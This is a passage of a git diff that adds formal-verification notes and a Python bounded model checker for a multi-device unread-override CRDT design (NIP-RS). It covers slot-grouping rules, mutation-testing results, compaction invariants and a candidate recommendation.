+  tombstone, the merged result is `RegB(s=1, c=1, b=10)` — dead under
+  clear-wins — permanently suppressing a live override.
+- With the rule, a receiver always sees either the complete register group
+  or none of it; partial reconstruction is structurally impossible from a
+  compliant publisher's output.
+
+Implementation: amend `splitContextsIntoBudgetedSlots` to round-robin
+per-context groups (frontier key + all `ov_*` sibling keys for that context)
+rather than per-entry. `DeviceB.split_blob_into_slots` in `model.py` models
+this correctly.
+
+**Unescape-before-group rule (corollary — spec-amendment requirement):**
+When grouping context entries, a frontier wire key MUST be unescaped to its
+raw logical context ID before being used as the group key. A raw context ID
+starting with a reserved prefix (e.g. `ov_s:evil`) escapes to
+`esc:ov_s:evil` as its frontier wire key, while its `ov_*` siblings are
+keyed by the raw suffix (`ov_s:evil`). Without unescaping the frontier key
+before grouping, these resolve to different groups and the register splits
+across slots — reproducing the same partial-reconstruction poison across
+publication cycles via old/new slot-coordinate mixtures. Fix: derive group
+identity via `unescape_context_key(wire_key)` for frontier keys.
+`mutation.py::mutant_m9` reverts to escaped-key grouping and confirms
+`test_escaped_context_slot_grouping` catches the witness.
+
+`mutation.py::mutant_m8` reverts to per-entry splitting (M8's split puts
+frontier+`ov_s:` in slot 0 and `ov_b:`+`ov_c:` in slot 1) and confirms
+`test_interleaved_delivery_grouping` catches Thufir's exact witness.
+
+This rule carries the same normative weight as mandatory canonical publication:
+both are protocol requirements for any client implementing this override layer,
+not optional optimizations.
+
+Confirmed: splitting a published blob across 2 grouped slots and delivering
+each separately produces the same final override and frontier state as
+delivering the full blob, regardless of delivery order. Interleaved-delivery
+test (`test_interleaved_delivery_grouping`) additionally verifies that
+receive-one-slot → re-publish → receive-rest permutations, including delayed
+transient delivery to a third observer, preserve the live override verdict.
+
+## Mutation harness
+
+9 mutants, all caught with recorded counterexamples:
+
+| Mutant | Rule dropped | Counterexample |
+|--------|-------------|----------------|
+| M1 | Baseline dominance check | `RegB(1,0,10)` at frontier=100: correct=inactive, mutant=active (stale set persists) |
+| M2 | `max(S,C)+1` counter bump | After set→set→clear: correct `RegB(2,3,10)` (clear wins), mutant `RegB(2,1,10)` (set persists) |
+| M3 | Tie policy | `RegB(1,1,10)` at frontier=10: clear-wins=False, set-wins=True |
+| M4 | Tombstone-floor compaction (delete-on-dominance revert) | `RegB(3,0,10)` at frontier=20 compacts to `None` (vs. tombstone `RegB(0,3,0)`); local set+clear reuses counters from zero; delayed stale replay resurrects — `final_reg=RegB(s=3,c=2,b=20)`, `override_is_set=True` (reproduces Thufir's pass-3 CRITICAL) |
+| M5 | uint32 value range | Value 4,294,967,296 rejected by legacy sanitization |
+| M6 | Componentwise-max merge | LWW delivery-order-dependent: convergence breaks under permutation |
+| M7 | Canonical publication (raw register serialization) | `RegB(3,2,0)`@frontier-50 join `RegB(1,2,100)`@frontier-100 = live `RegB(3,2,100)` (reproduces Thufir's pass-1/2 CRITICAL dead+dead resurrection) |
+| M8 | Atomic slot-grouping rule (per-entry split) | Live `RegB(1,0,10)` at frontier=10 split as `{frontier+ov_s:}` / `{ov_b:+ov_c:}`; partial observer reconstructs `RegB(1,0,0)`, publishes tombstone `RegB(0,1,0)`; final merge = `RegB(1,1,10)` → inactive (reproduces Thufir's pass-2/2 CRITICAL transport witness) |
+| M9 | Unescape-before-group rule (escaped-key grouping) | Live override on raw ctx `ov_s:evil` (frontier wire key `esc:ov_s:evil`); escaped-key grouping splits frontier from `ov_*` siblings; old/new slot-coordinate mixture → `RegB(1,0,0)` → tombstone `RegB(0,1,0)` → final merge = `RegB(1,1,10)` → inactive (reproduces Thufir's round-2 CRITICAL) |
+
+Each mutant is injected into the model via DeviceB subclass (M1, M2, M4,
+M6, M7, M8, M9) or direct function evaluation (M3, M5), then the applicable
+invariant suite is rerun. M4 reverts to the pre-fix delete-on-dominance
+compaction rule and directly reproduces Thufir's pass-3 CRITICAL resurrection
+witness — the exact `RegB(3,0,10)` → `None` → counter-reuse → stale
+replay → `RegB(3,2,20)`,`override_is_set=True` sequence — with a
+fallback to the directed deep-history cube (`test_deep_history_compaction`)
+if the hand-built scenario doesn't trigger under a given tie policy. M7
+reverts `publish_blob` to raw serialization and reproduces Thufir's pass-1/2
+CRITICAL dead+dead resurrection. M8 reverts `split_blob_into_slots` to
+per-entry assignment (frontier+`ov_s:` / `ov_b:`+`ov_c:`) and reproduces
+Thufir's pass-2/2 CRITICAL transport witness via `test_interleaved_delivery_grouping`.
+M9 reverts `split_blob_into_slots` to escaped-key grouping (groups frontier by
+its wire key instead of its unescaped logical ID) and reproduces Thufir's
+round-2 CRITICAL for escaped contexts via `test_escaped_context_slot_grouping`.
+
+## Recommendation
+
+**Candidate B (two grow-only counters + baseline) with clear-wins tie
+policy.**
+
+Evidence:
+
+1. **Legacy safety:** B's sibling keys survive legacy rewrite; A's
+   top-level field is erased. Hard blocker for A — no migration path
+   tolerates a single legacy device.
+2. **Identity-free:** B needs no client_id for correctness; A's
+   tiebreak creates a reinstall fragility.
+3. **CRDT properties:** Candidate B passes all merge invariants (I2–I8) in
+   the exhaustive model. Candidate A's join is also correct algebraically
+   (I1, I9), but I2–I4 and I6 are not exercised for A — A is dead on I7
+   regardless. B's componentwise max is simpler and more standard.
+4. **Bytes:** B at 3 live keys costs 138 bytes/context (channel UUID) to
+   243 bytes/context (thread hex64); a dead override compacts to a single
+   ~45-80 byte tombstone key instead. Cap of 100 overrides stays within
+   32 KiB budget for both live and tombstoned cases.
+5. **Compaction:** B supports safe policy-aware compaction — no
+   resurrection, ever (proved structurally, not just over a bounded
+   cube). Clear-wins allows compacting `S == C` states (set-wins does
+   not). Cross-device delivery of a tombstone can one-shot suppress an
+   unrelated device's concurrent fresh set whose counters are at or
+   below the tombstone's ceiling; this is recoverable by re-marking and
+   is the same false-negative shape clear-wins already accepts for a
+   stale explicit clear with no compaction involved (see "Tie policy
+   evidence").
+6. **Tie policy:** Clear-wins avoids persistent false-positive badges
+   and enables more aggressive compaction.
+
+## Honest limits
+
+- The model enumerates bounded abstract operations, not real encrypted
+  NIP-59 payloads or relay replacement semantics.
+- Counter values in the general BFS explorer are bounded by its exploration
+  depth (max ~4 via BFS depth 4); the directed deep-history cube
+  (`test_deep_history_compaction`) reaches counter values up to the stale
+  parameter range (0-3) plus post-compaction action sequences, covering the
+  ~9-transition witness the BFS explorer cannot structurally reach. Real
+  uint32 overflow/wrap is tested only via the legacy sanitization mutant (M5).
+- The BFS explorer (I5/I5c) checks compaction safety over reachable
+  multi-device histories up to depth 4, but its own terminal-state
+  compaction check (`check_compaction_safety`) only merges a device's
+  compacted register with its *own* pre-compaction snapshot — it does
+  not, by construction, exercise an unrelated device's independently-
+  live concurrent register. `test_cross_device_compaction_suppression`
+  (I5d) covers that shape directly but over a hand-parameterized cube,
+  not the full BFS state space; the accompanying
+  `test_tombstone_merge_monotonic` lemma is what extends the
+  no-resurrection guarantee beyond the cube's specific points.
+- Two contexts are modeled. Production users may have hundreds of contexts,
+  but the CRDT properties are per-context — cross-context interactions are
+  limited to the shared byte budget (tested via trim/prune interaction).
+- Multi-slot behavior is confirmed via split+merge convergence test, and
+  the atomic slot-grouping rule is modeled by `DeviceB.split_blob_into_slots`
+  (including the escaped-context identity fix — `split_blob_into_slots`
+  unescapes frontier keys before grouping). The production TypeScript
+  implementation (`splitContextsIntoBudgetedSlots`) is NOT modeled — only
+  the abstract grouping property is verified here. Implementation-level
+  testing is still needed for slot placement, slot rebalancing, and the
+  production d-tag coordinate assignment.
+- The model assumes eventual delivery (all blobs eventually reach all
+  devices). Permanent message loss is not modeled.
+- Byte sizes are computed from JSON serialization of realistic key names.
+  Actual encrypted blob overhead (NIP-59 envelope, relay metadata) adds
+  to the total but does not affect the 32 KiB plaintext budget.
diff --git a/docs/formal/nip-rs-unread/exhaustive.py b/docs/formal/nip-rs-unread/exhaustive.py
new file mode 100644
index 0000000000..82d54c6b43
--- /dev/null
+++ b/docs/formal/nip-rs-unread/exhaustive.py
@@ -0,0 +1,1486 @@
+"""Bounded transition-system explorer for NIP-RS manual-unread candidates.
+
+BFS over canonical global states. At each depth, enabled transitions are
+local actions and message deliveries, interleaved — not phased.
+
+Universe: 2 upgraded devices + 1 legacy device, 2 contexts.
+Transitions: mark_unread, mark_read (with frontier advance),
+  advance_frontier, compact, reinstall, deliver (including
+  duplicate/replay). Legacy rewrite semantics are exercised through the
+  deliver path (legacy_sanitize_and_publish), not as a separate
+  transition — a legacy device never mutates its own state outside
+  delivery, so a dedicated no-op transition added nothing (see NOTE.md).
+
+Invariants:
+  I1  merge_reg_b associative/commutative/idempotent
+  I2  convergence: all delivery orders -> identical override verdict
+  I3  no frontier regression
+  I4  concurrent set/clear winner stable (order-independent, ancestor-independent)
+  I5  compaction: no loss of live set, no resurrection of dead clear,
+      survives merge with stale pre-compaction state
+  I5c directed deep-history: compact -> new local actions (counter reuse)
+      -> delayed stale delivery does not resurrect a dead override or
+      lose a genuinely-live one. Scope: the compacting device's own
+      pre-compaction ancestor (or an exact copy of it) replayed back to
+      that same device.
+  I5d cross-device compaction transparency (requalified, NOT
+      zero-divergence): a tombstone's counter ceiling can one-shot
+      suppress an unrelated device's concurrent fresh set with no
+      resurrection, and the suppression is always recoverable by one
+      more local action. Proven suppress-only direction via a bounded
+      witness cube plus a structural monotonicity argument.
+  I6  replay harmless
+  I7  legacy rewrite: B sibling keys survive / A overrides erased (witness)
+  I8  bounded key growth per context
+  I9  DeviceA post-receive counter absorption
+"""
+from itertools import permutations
+from copy import deepcopy
+from model import (
+    RegB, merge_reg_b, override_set_b, compact_b,
+    RegA, merge_reg_a,
+    DeviceB, DeviceA,
+    SET, CLEAR,
+    legacy_prune, legacy_trim, legacy_sanitize_blob,
+    escape_context_key, unescape_context_key, ESCAPE_PREFIX,
+)
+
+CONTEXTS = ("c0", "c1")
+FRONTIER_VALS = (10, 20)
+
+
+# ---------------------------------------------------------------------------
+# I1: algebraic properties
+# ---------------------------------------------------------------------------
+
+def test_merge_algebra_b():
+    vals = [0, 1, 2, 3]
+    regs = [RegB(s, c, b) for s in vals for c in vals for b in vals]
+    violations = []
+    for a in regs:
+        if merge_reg_b(a, a) != a:
+            violations.append(("idempotent", a))
+    for a in regs:
+        for b in regs:
+            if merge_reg_b(a, b) != merge_reg_b(b, a):
+                violations.append(("commutative", a, b))
+    for a in regs:
+        for b in regs:
+            for c in regs:
+                if merge_reg_b(merge_reg_b(a, b), c) != merge_reg_b(a, merge_reg_b(b, c)):
+                    violations.append(("associative", a, b, c))
+    return violations
+
+
+def test_merge_algebra_a():
+    vals = [0, 1, 2]
+    tiebreaks = ["a", "b"]
+    ops = [SET, CLEAR]
+    baselines = [0, 10]
+    regs = [RegA(ct, t, o, bl)
+            for ct in vals for t in tiebreaks for o in ops for bl in baselines]
+    violations = []
+    for tie_op in [CLEAR, SET]:
+        for a in regs:
+            if merge_reg_a(a, a, tie_op) != a:
+                violations.append(("idempotent", tie_op, a))
+        for a in regs:
+            for b in regs:
+                if merge_reg_a(a, b, tie_op) != merge_reg_a(b, a, tie_op):
+                    violations.append(("commutative", tie_op, a, b))
+        for a in regs:
+            for b in regs:
+                for c in regs:
+                    ab_c = merge_reg_a(merge_reg_a(a, b, tie_op), c, tie_op)
+                    a_bc = merge_reg_a(a, merge_reg_a(b, c, tie_op), tie_op)
+                    if ab_c != a_bc:
+                        violations.append(("associative", tie_op, a, b, c))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# BFS state explorer — Candidate B
+# ---------------------------------------------------------------------------
+
+def next_frontier(device, ctx):
+    cur = device.effective_frontier(ctx)
+    for fv in FRONTIER_VALS:
+        if fv > cur:
+            return fv
+    return None
+
+
+def enabled_transitions(devices, tie_policy):
+    """Generate (kind, args) tuples for all enabled transitions."""
+    trans = []
+    for di, d in enumerate(devices):
+        for ctx in CONTEXTS:
+            if not d.is_legacy:
+                trans.append(("mark_unread", di, ctx))
+                fv = next_frontier(d, ctx)
+                if fv is not None:
+                    trans.append(("mark_read", di, ctx, fv))
+                if ctx in d.overrides:
+                    trans.append(("compact", di, ctx))
+            fv = next_frontier(d, ctx)
+            if fv is not None:
+                trans.append(("advance", di, ctx, fv))
+        if not d.is_legacy:
+            trans.append(("reinstall", di))
+    for si in range(len(devices)):
+        for di in range(len(devices)):
+            if si != di:
+                trans.append(("deliver", si, di))
+    return trans
+
+
+def apply_transition(devices, t, tie_policy):
+    kind = t[0]
+    if kind == "mark_unread":
+        devices[t[1]].do_mark_unread(t[2])
+    elif kind == "mark_read":
+        devices[t[1]].do_mark_read(t[2], t[3])
+    elif kind == "advance":
+        devices[t[1]].do_advance_frontier(t[2], t[3])
+    elif kind == "compact":
+        devices[t[1]].do_compact(t[2], tie_policy)
+    elif kind == "reinstall":
+        devices[t[1]].do_reinstall()
+    elif kind == "deliver":
+        src = devices[t[1]]
+        dst = devices[t[2]]
+        if src.is_legacy:
+            blob = src.legacy_sanitize_and_publish(tie_policy)
+        else:
+            blob = src.publish_blob(tie_policy)
+        dst.receive_merge(blob)
+
+
+def state_sig(devices, tie_policy):
+    return tuple(d.state_key(CONTEXTS, tie_policy) for d in devices)
+
+
+def check_convergence(devices, tie_policy, trace, violations):
+    """Publish all blobs, deliver in every order, check upgraded devices
+    converge on override_is_set for each context.
+
+    Tests with latest_ts=5 (below all frontiers) so the override is the
+    sole unread source — no masking by natural unread.
+    """
+    blobs = []
+    for d in devices:
+        if d.is_legacy:
+            blobs.append(d.legacy_sanitize_and_publish(tie_policy))
+        else:
+            blobs.append(d.publish_blob(tie_policy))
+
+    verdicts_per_order = []
+    for perm in permutations(range(len(blobs))):
+        receivers = deepcopy(devices)
+        for idx in perm:
+            for r in receivers:
+                r.receive_merge(blobs[idx])
+        per_device = []
+        for r in receivers:
+            if not r.is_legacy:
+                per_device.append(
+                    tuple(r.override_is_set(ctx, tie_policy) for ctx in CONTEXTS)
+                )
+        verdicts_per_order.append(tuple(per_device))
+
+    if len(set(verdicts_per_order)) > 1:
+        violations.append(("I2-convergence", trace, set(verdicts_per_order)))
+
+
+def check_compaction_safety(devices, tie_policy, trace, violations):
+    """For each upgraded device with overrides:
+    1. Check override_is_set directly (not via verdict/latest_ts).
+    2. Compact and verify override_is_set unchanged.
+    3. Merge compacted state with stale pre-compaction state in both orders.
+       Verify no resurrection and no loss.
+    """
+    for di, d in enumerate(devices):
+        if d.is_legacy:
+            continue
+        for ctx in CONTEXTS:
+            reg = d.overrides.get(ctx)
+            if reg is None:
+                continue
+            front = d.effective_frontier(ctx)
+            ov_before = d._override_set(reg, front, tie_policy)
+            compacted = d._compact(reg, front, tie_policy)
+            ov_after = d._override_set(compacted, front, tie_policy) if compacted else False
+
+            if ov_before and not ov_after:
+                violations.append((
+                    "I5-compaction-lost-set", trace, di, ctx,
+                    reg, compacted, front, tie_policy
+                ))
+            if not ov_before and ov_after:
+                violations.append((
+                    "I5-compaction-resurrection", trace, di, ctx,
+                    reg, compacted, front, tie_policy
+                ))
+
+            if compacted is not None:
+                for merged in [merge_reg_b(compacted, reg), merge_reg_b(reg, compacted)]:
+                    ov_merged = d._override_set(merged, front, tie_policy)
+                    if not ov_before and ov_merged:
+                        violations.append((
+                            "I5-compaction-merge-resurrection", trace, di, ctx,
+                            reg, compacted, merged
+                        ))
+
+
+def explore_b(max_depth=4, tie_policy=CLEAR, device_cls=DeviceB):
+    """BFS over all reachable global states up to max_depth.
+
+    Returns (states_explored, violations).
+    Accepts device_cls for mutation testing via subclassing.
+    """
+    def make_devices():
+        return [
+            device_cls("d0", is_legacy=False),
+            device_cls("d1", is_legacy=False),
+            device_cls("d2", is_legacy=True),
+        ]
+
+    violations = []
+    seen = set()
+    states_explored = 0
+    queue = [(make_devices(), [])]
+
+    while queue:
+        devices, trace = queue.pop(0)
+        sig = state_sig(devices, tie_policy)
+        if sig in seen:
+            continue
+        seen.add(sig)
+        states_explored += 1
+
+        for di, d in enumerate(devices):
+            for ctx in CONTEXTS:
+                prev_front = d.effective_frontier(ctx)
+                if prev_front < 0:
+                    violations.append(("I3-frontier-negative", trace, di, ctx))
+
+        if len(trace) >= max_depth:
+            check_convergence(devices, tie_policy, trace, violations)
+            check_compaction_safety(devices, tie_policy, trace, violations)
+            continue
+
+        for t in enabled_transitions(devices, tie_policy):
+            new_devs = deepcopy(devices)
+            fronts_before = {
+                (di, ctx): d.effective_frontier(ctx)
+                for di, d in enumerate(new_devs) for ctx in CONTEXTS
+            }
+            apply_transition(new_devs, t, tie_policy)
+
+            # Reinstall intentionally wipes local state; frontier regression
+            # is only invalid during merge/delivery/compaction/advance.
+            if t[0] != "reinstall":
+                for (di, ctx), fb in fronts_before.items():
+                    fa = new_devs[di].effective_frontier(ctx)
+                    if fa < fb:
+                        violations.append(("I3-frontier-regression", trace + [t], di, ctx, fb, fa))
+
+            queue.append((new_devs, trace + [t]))
+
+    return states_explored, violations
+
+
+# ---------------------------------------------------------------------------
+# I4: concurrent set/clear winner stable
+# ---------------------------------------------------------------------------
+
+def test_concurrent_stability(device_cls=DeviceB):
+    """Two devices concurrently set and clear from every possible ancestor state.
+    The winner must be the same regardless of delivery order AND ancestor state."""
+    violations = []
+    for tie_policy in [CLEAR, SET]:
+        for pre_s, pre_c in [(0, 0), (1, 0), (0, 1), (2, 1), (1, 2), (1, 1)]:
+            for front in [0, 10]:
+                for ctx in CONTEXTS:
+                    ancestor = RegB(s=pre_s, c=pre_c, b=front)
+
+                    d0 = device_cls("d0")
+                    d0.frontier[ctx] = front
+                    d0.overrides[ctx] = deepcopy(ancestor)
+                    d1 = device_cls("d1")
+                    d1.frontier[ctx] = front
+                    d1.overrides[ctx] = deepcopy(ancestor)
+
+                    d0.do_mark_unread(ctx)
+                    d1.do_mark_read(ctx, front + 10)
+
+                    blob0 = d0.publish_blob(tie_policy)
+                    blob1 = d1.publish_blob(tie_policy)
+
+                    verdicts = set()
+                    for first, second in [(blob0, blob1), (blob1, blob0)]:
+                        r = device_cls("recv")
+                        r.frontier[ctx] = front
+                        r.overrides[ctx] = deepcopy(ancestor)
+                        r.receive_merge(first)
+                        r.receive_merge(second)
+                        verdicts.add(r.override_is_set(ctx, tie_policy))
+
+                    if len(verdicts) > 1:
+                        violations.append((
+                            "I4-unstable", tie_policy, ctx,
+                            pre_s, pre_c, front
+                        ))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# I5: direct compaction register-level check (all register values x policies)
+# ---------------------------------------------------------------------------
+
+def test_compaction_register_exhaustive():
+    """Exhaustive check over bounded register cube and frontier values.
+    Tests override_is_set directly — no latest_ts masking."""
+    violations = []
+    vals = [0, 1, 2, 3]
+    frontiers = [0, 10, 20]
+    for tie_policy in [CLEAR, SET]:
+        for s in vals:
+            for c in vals:
+                for b in frontiers:
+                    for fv in frontiers:
+                        reg = RegB(s=s, c=c, b=b)
+                        ov_before = override_set_b(reg, fv, tie_policy)
+                        compacted = compact_b(reg, fv, tie_policy)
+                        ov_after = (override_set_b(compacted, fv, tie_policy)
+                                    if compacted else False)
+
+                        if ov_before and not ov_after:
+                            violations.append((
+                                "loss", tie_policy, reg, fv, compacted
+                            ))
+                        if not ov_before and ov_after:
+                            violations.append((
+                                "resurrection", tie_policy, reg, fv, compacted
+                            ))
+
+                        if compacted is not None:
+                            merged_fwd = merge_reg_b(compacted, reg)
+                            merged_rev = merge_reg_b(reg, compacted)
+                            for label, merged in [("fwd", merged_fwd), ("rev", merged_rev)]:
+                                ov_merged = override_set_b(merged, fv, tie_policy)
+                                if not ov_before and ov_merged:
+                                    violations.append((
+                                        f"merge-resurrection-{label}",
+                                        tie_policy, reg, fv, compacted, merged
+                                    ))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# I5c: directed deep-history — compact -> new actions (counter reuse) ->
+# delayed stale delivery (including split across two slots)
+# ---------------------------------------------------------------------------
+
+def _apply_action_seq(dev, ctx, seq, ts):
+    for a in seq:
+        if a == "set":
+            dev.do_mark_unread(ctx)
+        else:
+            dev.do_mark_read(ctx, ts)
+
+
+def _ancestor_ctx_dict(ctx, reg):
+    return {f"ov_s:{ctx}": reg.s, f"ov_c:{ctx}": reg.c, f"ov_b:{ctx}": reg.b}
+
+
+_DEEP_HISTORY_ACTION_SEQS = [
+    (), ("set",), ("clear",), ("set", "clear"), ("clear", "set"),
+    ("set", "set"), ("clear", "clear"),
+]
+# One delivery shape: single unsplit blob.  The prior "split_fwd"/"split_rev"
+# shapes are no longer distinct — with the atomic-grouping rule a single-
+# context blob's compliant split puts the whole group in one slot and the
+# other empty, making split_fwd and split_rev semantically identical to
+# single.  Keeping only one shape avoids 2/3 duplicate executions (2,016 →
+# 672 meaningful points) while losing zero register-level coverage.
+_DEEP_HISTORY_DELIVERY_SHAPES = ("single",)
+
+
+def test_deep_history_compaction(device_cls=DeviceB):
+    """Directed check over the exact shape a depth-4 BFS structurally
+    cannot reach (~9 transitions): compact -> new local set/clear actions
+    (counter reuse against the tombstone floor) -> delayed delivery of
+    the pre-compaction stale ancestor, including split across 2 slots.
+
+    Oracle: compaction is a storage optimization and must never change
+    the semantic outcome. A reference device that never compacts, given
+    the identical ancestor / frontier advance / action sequence / late
+    ancestor delivery, must reach the same override_is_set verdict as
+    the compacting device. This directly targets Thufir's counterexample
+    (RegB(3,0,10) -> None under delete-on-dominance -> counter reuse ->
+    RegB(3,2,20) resurrection) and requires the tombstone floor from
+    compact_b to hold under it.
+
+    Returns (cube_size, violations).
+    """
+    violations = []
+    cube_size = 0
+    ctx = "c0"
+    stale_vals = (0, 1, 2, 3)
+    baselines = (0, 10)
+    post_frontiers = (10, 20)
+
+    for s0 in stale_vals:
+        for c0 in stale_vals:
+            for b0 in baselines:
+                for f1 in post_frontiers:
+                    if f1 <= b0:
+                        continue  # not a dominance/compaction scenario
+                    ancestor = RegB(s=s0, c=c0, b=b0)
+                    ancestor_blob = _ancestor_ctx_dict(ctx, ancestor)
+                    for seq in _DEEP_HISTORY_ACTION_SEQS:
+                        for tie_policy in (CLEAR, SET):
+                            for shape in _DEEP_HISTORY_DELIVERY_SHAPES:
+                                cube_size += 1
+
+                                dev = device_cls("d0")
+                                dev.frontier[ctx] = b0
+                                dev.overrides[ctx] = ancestor
+                                dev.do_advance_frontier(ctx, f1)
+                                dev.do_compact(ctx, tie_policy)
+                                _apply_action_seq(dev, ctx, seq, f1)
+
+                                if shape == "single":
+                                    dev.receive_merge({"contexts": dict(ancestor_blob)})
+                                ov_after = dev.override_is_set(ctx, tie_policy)
+
+                                ref = device_cls("ref")
+                                ref.frontier[ctx] = b0
+                                ref.overrides[ctx] = ancestor
+                                ref.do_advance_frontier(ctx, f1)
+                                _apply_action_seq(ref, ctx, seq, f1)
+                                ref.receive_merge({"contexts": dict(ancestor_blob)})
+                                ov_ref = ref.override_is_set(ctx, tie_policy)
+
+                                if ov_after != ov_ref:
+                                    violations.append((
+                                        "I5c-deep-history-divergence", tie_policy, shape,
+                                        ancestor, f1, seq,
+                                        f"compacted_path={ov_after}", f"reference={ov_ref}",
+                                    ))
+    return cube_size, violations
+
+
+def test_tombstone_stale_merge_direct():
+    """Tombstone floor merged directly with its own pre-compaction stale
+    ancestor (no intervening local actions) must not resurrect and must
+    not exceed the ancestor's own verdict."""
+    violations = []
+    vals = (0, 1, 2, 3)
+    frontiers = (0, 10, 20)
+    for tie_policy in (CLEAR, SET):
+        for s in vals:
+            for c in vals:
+                for b in frontiers:
+                    for fv in frontiers:
+                        if fv <= b:
+                            continue
+                        reg = RegB(s=s, c=c, b=b)
+                        compacted = compact_b(reg, fv, tie_policy)
+                        if compacted is None:
+                            continue  # virgin register: nothing to tombstone
+                        ov_before = override_set_b(reg, fv, tie_policy)
+                        for merged in (merge_reg_b(compacted, reg), merge_reg_b(reg, compacted)):
+                            ov_merged = override_set_b(merged, fv, tie_policy)
+                            if not ov_before and ov_merged:
+                                violations.append((
+                                    "tombstone-stale-merge-resurrection",
+                                    tie_policy, reg, fv, compacted, merged,
+                                ))
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# I5d: cross-device compaction transparency (requalified — suppress-only,
+# NOT zero-divergence) + re-mark recovery
+# ---------------------------------------------------------------------------
+
+def test_tombstone_merge_monotonic():
+    """Structural lemma: merging in ANY tombstone RegB(0, k, 0) is a
+    monotonically non-increasing function of the ceiling k in
+    override_set_b's boolean output, for a fixed receiving register and
+    frontier. A tombstone only ever adds to C (its S and B are both 0,
+    so max() with any receiving register leaves that register's own S
+    and B untouched) — raising C can only weaken S's relative standing,
+    never strengthen it. This is what makes resurrection structurally
+    impossible and suppression the only possible direction, independent
+    of any bounded cube.
+    """
+    violations = []
+    vals = (0, 1, 2, 3)
+    baselines = (0, 10, 20)
+    ceilings = (0, 1, 2, 3, 4, 5)
+    for tie_policy in (CLEAR, SET):
+        for s in vals:
+            for c in vals:
+                for b in baselines:
+                    for fv in baselines:
+                        x_reg = RegB(s=s, c=c, b=b)
+                        prev = None
+                        for k in ceilings:
+                            merged = merge_reg_b(x_reg, RegB(s=0, c=k, b=0))
+                            cur = override_set_b(merged, fv, tie_policy)
+                            if prev is not None and cur and not prev:
+                                violations.append((
+                                    "I5d-non-monotonic-ceiling", tie_policy,
+                                    x_reg, fv, k, merged,
+                                ))
+                            prev = cur
+    return violations
+
+
+def test_cross_device_compaction_suppression(device_cls=DeviceB):
+    """Compaction is NOT semantically transparent cross-device (I5c only
+    covers the same-device replay shape). A tombstone re-encodes
+    baseline-dominated death — frontier-relative, doesn't transfer
+    across devices — as a clear-counter ceiling — globally comparable —
+    so it can one-shot suppress an unrelated device's concurrent fresh
+    set whose own counters don't exceed that ceiling.
+
+    Witness (Paul's report, illustrative — the cube below tests nearby
+    parameter values `f_x` in `(5, 15, 25, 35)`, not the literal
+    `f_x=30` used in the original report; the shape is the same):
+      Y: mark_unread -> RegB(1,0,0); frontier->10 (dead) -> compact ->
+         tombstone RegB(0,1,0)
+      X: offline, fresh mark_unread at frontier 30 -> RegB(1,0,30), LIVE
+      X merges Y's tombstone -> RegB(1,1,30) -> suppressed (clear-wins)
+      Control (Y publishes the uncompacted RegB(1,0,0) instead): X stays
+      RegB(1,0,30), LIVE — the divergence is caused by compaction, not
+      by the merge itself.
+
+    Proves over a bounded cube, both tie policies: every divergence
+    between "X merges Y's tombstone" and "X merges Y's uncompacted
+    ancestor" is a suppression (never a resurrection — that would
+    contradict test_tombstone_merge_monotonic), and every suppression
+    recovers with one more local mark-unread, stable under tombstone
+    replay.
+
+    Returns (cube_size, suppress_count, violations).
+    """
+    violations = []
+    cube_size = 0
+    suppress_count = 0
+    dead_vals = (0, 1, 2, 3)
+    dead_baselines = (0, 10)
+    dead_post_frontiers = (10, 20)
+    fresh_frontiers = (5, 15, 25, 35)
+
+    for tie_policy in (CLEAR, SET):
+        for s_y in dead_vals:
+            for c_y in dead_vals:
+                for b_y in dead_baselines:
+                    for f_y in dead_post_frontiers:
+                        if f_y <= b_y:
+                            continue
+                        ancestor = RegB(s=s_y, c=c_y, b=b_y)
+                        tomb = compact_b(ancestor, f_y, tie_policy)
+                        if tomb is None or tomb == ancestor:
+                            continue  # virgin, or was live (not compacted)
+
+                        for f_x in fresh_frontiers:
+                            cube_size += 1
+                            x_reg = RegB(s=1, c=0, b=f_x)
+                            x_before = override_set_b(x_reg, f_x, tie_policy)
+                            if not x_before:
+                                violations.append((
+                                    "I5d-setup-not-live", tie_policy, x_reg, f_x,
+                                ))
+                                continue
+
+                            ov_tomb = override_set_b(
+                                merge_reg_b(x_reg, tomb), f_x, tie_policy
+                            )
+                            ov_ancestor = override_set_b(
+                                merge_reg_b(x_reg, ancestor), f_x, tie_policy
+                            )
+
+                            if ov_tomb == ov_ancestor:
+                                continue
+                            if ov_tomb and not ov_ancestor:
+                                violations.append((
+                                    "I5d-resurrection-vs-ancestor", tie_policy,
+                                    ancestor, tomb, x_reg, f_x,
+                                ))
+                                continue
+
+                            suppress_count += 1
+                            dev = device_cls("x")
+                            dev.frontier["c0"] = f_x
+                            dev.overrides["c0"] = merge_reg_b(x_reg, tomb)
+                            dev.do_mark_unread("c0")
+                            if not dev.override_is_set("c0", tie_policy):
+                                violations.append((
+                                    "I5d-recovery-failed", tie_policy,
+                                    ancestor, tomb, x_reg, f_x, dev.overrides["c0"],
+                                ))
+                                continue
+                            dev.receive_merge({"contexts": {
+                                "ov_s:c0": tomb.s, "ov_c:c0": tomb.c, "ov_b:c0": tomb.b,
+                            }})
+                            if not dev.override_is_set("c0", tie_policy):
+                                violations.append((
+                                    "I5d-recovery-not-replay-stable", tie_policy,
+                                    ancestor, tomb, x_reg, f_x, dev.overrides["c0"],
+                                ))
+
+    return cube_size, suppress_count, violations
+
+
+# ---------------------------------------------------------------------------
+# New invariant: published-state merge closure (Paul's fix-scope item 2,
+# generalizing Thufir's pass-1/2 CRITICAL — dead+dead merge resurrection)
+# ---------------------------------------------------------------------------
+
+def _dead_register_points(tie_policy):
+    """Bounded cube of (label, reg, frontier) points independently
+    verified DEAD (inactive) under `tie_policy` by the real
+    `override_set_b` predicate — the death cause (baseline dominance,
+    clear-count dominance, or clear-wins tie) is whatever the predicate
+    actually computes for that point, not asserted by construction.
+    """
+    vals = (0, 1, 2, 3)
+    baselines = (0, 10, 50)
+    frontiers = (0, 20, 60, 100)
+    points = []
+    for s in vals:
+        for c in vals:
+            if s == 0 and c == 0:
+                continue  # virgin: not a "dead override" case
+            for b in baselines:
+                for fv in frontiers:
+                    reg = RegB(s=s, c=c, b=b)
+                    if override_set_b(reg, fv, tie_policy):
+                        continue  # live: out of scope for this invariant
+                    points.append((f"s={s}c={c}b={b}fv={fv}", reg, fv))
+    return points
+
+
+def test_published_merge_closure(device_cls=DeviceB):
+    """Over reachable *published* states: joining any two individually-
+    inactive published states must remain inactive.
+
